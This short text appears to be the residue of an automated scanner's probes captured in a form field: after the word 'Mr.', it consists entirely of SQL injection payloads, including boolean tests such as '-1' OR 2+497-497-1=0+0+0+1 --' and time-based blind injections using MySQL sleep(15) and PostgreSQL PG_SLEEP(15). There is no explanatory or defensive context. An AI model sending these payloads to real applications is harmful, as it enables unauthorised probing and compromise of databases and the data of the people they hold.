Mr.

-1' OR 2+497-497-1=0+0+0+1 --

-1' OR 2+468-468-1=0+0+0+1 or 'k7DZECaq'='

-1" OR 2+952-952-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

-5 OR 420=(SELECT 420 FROM PG_SLEEP(15))--

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-5) OR 323=(SELECT 323 FROM PG_SLEEP(15))--

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z